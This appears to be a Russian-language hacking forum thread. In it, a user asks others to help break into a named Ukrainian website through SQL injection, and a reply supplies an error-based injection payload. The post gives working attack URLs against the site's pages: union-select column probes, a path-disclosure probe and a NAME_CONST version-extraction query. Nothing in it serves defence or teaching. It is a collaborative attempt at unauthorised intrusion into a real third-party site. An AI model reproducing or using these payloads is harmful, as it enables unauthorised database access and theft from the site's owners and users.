наткнулся на дырку не могу пробить

уже долго ковыряю не могу пробиться.. может у кого и получится если да то скиньте потом в личку как, просто уже спортивный интерес появился

тут sql inj

полей вроде как 5 если судить по
http://www.krapka.te.ua/krasunja.php?id=-1+order+by+5--

но такая конструкция говорит что не то количество столбцов
http://www.krapka.te.ua/krasunja.php?id=-1/**/union/**/select/**/1,2,3,4,5--


тут тоже есть видно пути
http://www.krapka.te.ua/download/downloader.php?id=-1+/*

еще есть подключеная IRC но багов к ней я не нашол, а может плохо искал

http://www.krapka.te.ua/chat

 

пох крути как блинд

Code:

http://www.krapka.te.ua/krasunja.php?id=1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)

 

Разделом ошибся